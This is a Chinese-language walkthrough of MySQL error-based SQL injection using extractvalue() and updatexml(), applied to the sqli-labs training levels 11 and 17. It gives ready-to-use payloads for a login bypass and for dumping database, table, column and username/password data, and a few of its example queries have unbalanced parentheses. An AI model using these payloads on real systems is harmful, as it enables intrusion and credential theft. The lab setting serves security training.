对XML文档进行查询的函数
相当于我们熟悉的html 文件中使用的
<dir> <p> <a>
extractvalue(目标xml文档,xml路径)
函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法格式的内容就是我们想要查询的内容。
如果是正常的格式,即查询不到也不会报错,下面进行测试
构造正常格式的sql语句
select extractvalue(1,concat('/',(select database())));
结果既没数据返回也没有报错
接下里我们开始构造非法格式的sql语句,看看我们能够得到什么信息
正常格式为/xx/xx/,所以我们非法格式可以尝试 \ , ~ 来使sql语句变成非法格式。
select extractvalue(1,concat(0x5c,(select database())));
0x5c (‘\),还可以使用0x7e (~)
发现返回了非法内容,而且返回的是我们非法查询的内容。
sqli-labs-less11
打开关卡看到一个登录页面
尝试输入 admin’ # 不输密码登录成功,看到登录用户为admin
然后在构造admin’ and 1=1# 登录正常
再构造admin’ and 1=2# 出现报错
可以得到存在报错注入,开始注入,上extractvalue
爆数据库payload
admin' and extractvalue(1,concat(0x5c,(select database())))#
得到数据库
爆表名payload
admin' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#
爆列名payload
admin' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users')))#
爆字段数据payload
admin' and extractvalue(1,concat(0x5c,( select group_concat(username,0x3a,password) from users)))#
updatexml()函数与extractvalue()函数类似,都是对xml文档进行操作。只不过updatexml()从英文字面上来看就知道是更新的意思。即updatexml()是更新文档的函数。
updatexml(目标xml文档,xml路径,更新的内容)
和extractvalue()相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。
可以构造合法的sql查询语句
select (updatexml('/',(select database(),'/')));
可以得到正常回显/ ,是因为我们的函数更新内容填的是’/
然后我们构造非法格式的内容,进行查询。
select updatexml(0x5c,(select database())),0x5c);
可以得到更新后的结果,得到数据库
sqli-labs-less17
通过题目名称可以知道是关于updatexml的更新报错注入
经过测试发现注入点再password处
构造payload爆库名
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
得到库名
构造payload爆表名
1' and updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1)#
构造payload爆列名
1' and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x5c),1)#
爆字段
1' and updatexml(1,concat(0x5c,(select group_concat(username) from users ),0x5c),1)#
这两个函数都是对XML文档进行操作,通过构造非法格式的内容使得函数不能正常执行,通过报错或更新将我们的非法查询的内容回显出来。